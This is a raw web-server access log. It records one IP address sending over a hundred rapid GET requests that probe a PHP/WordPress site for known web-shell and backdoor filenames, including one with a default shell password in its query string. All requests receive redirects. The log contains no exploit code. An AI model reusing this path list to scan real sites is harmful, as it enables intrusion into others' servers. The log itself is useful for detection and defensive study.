[25/Apr/2025:11:24:39 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:39 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:39 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:40 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:40 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:40 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:40 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:24:40 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:41 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:41 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:41 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:42 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:42 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:24:42 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:24:42 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:43 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:43 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:43 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:43 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:43 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:44 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:44 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:24:45 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:45 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:45 -0400] "GET /.well-known/acme-challenge/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:45 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:45 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:46 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:46 -0400] "GET /uploads/Alex-Cross.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:46 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:46 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:47 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:47 -0400] "GET /wp-content/plugins/dhon/newsfeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:47 -0400] "GET /vedcve.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:47 -0400] "GET /jsdindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:48 -0400] "GET /lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:48 -0400] "GET /wp-includes/sodium_compat/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:24:48 -0400] "GET /images/transfusem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:24:49 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:49 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:49 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:50 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:50 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:50 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:50 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:24:51 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:51 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:51 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:51 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:52 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:52 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:52 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:52 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:53 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:53 -0400] "GET /kajisak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:53 -0400] "GET /TNT.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:54 -0400] "GET /trust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:54 -0400] "GET /godsend.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:24:54 -0400] "GET /wp-zett.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:54 -0400] "GET /LV.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:55 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:55 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:55 -0400] "GET /wboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:55 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:24:56 -0400] "GET /wp-ok.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:56 -0400] "GET /bionic.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:56 -0400] "GET /hidey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:56 -0400] "GET /myk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:24:57 -0400] "GET /kajiwara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:57 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:57 -0400] "GET /my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:57 -0400] "GET /aclass.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:58 -0400] "GET /admin1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:24:58 -0400] "GET /wp-signups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:58 -0400] "GET /cdm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:24:58 -0400] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:58 -0400] "GET /def.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:59 -0400] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:59 -0400] "GET /admin11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:59 -0400] "GET /fond.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:59 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:25:00 -0400] "GET /termps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:00 -0400] "GET /vip.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:00 -0400] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:00 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:01 -0400] "GET /search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:01 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:01 -0400] "GET /networks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:01 -0400] "GET /report.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:02 -0400] "GET /abby.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:02 -0400] "GET /anger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:02 -0400] "GET /lu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:25:02 -0400] "GET /public/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:03 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:03 -0400] "GET /include/Lurd.class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:03 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:03 -0400] "GET /wp-content/plugins/awesome-coming-soon/come.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:25:04 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:04 -0400] "GET /wp-content/plugins/page-flip-image-gallery/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:05 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:05 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:25:06 -0400] "GET /glpi/vendor/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:07 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:07 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:07 -0400] "GET /prosellers.PhP7?pass=prosellers HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:08 -0400] "GET /.tmb/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:25:08 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:25:08 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:09 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:09 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:25:09 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:25:10 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:25:11 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - 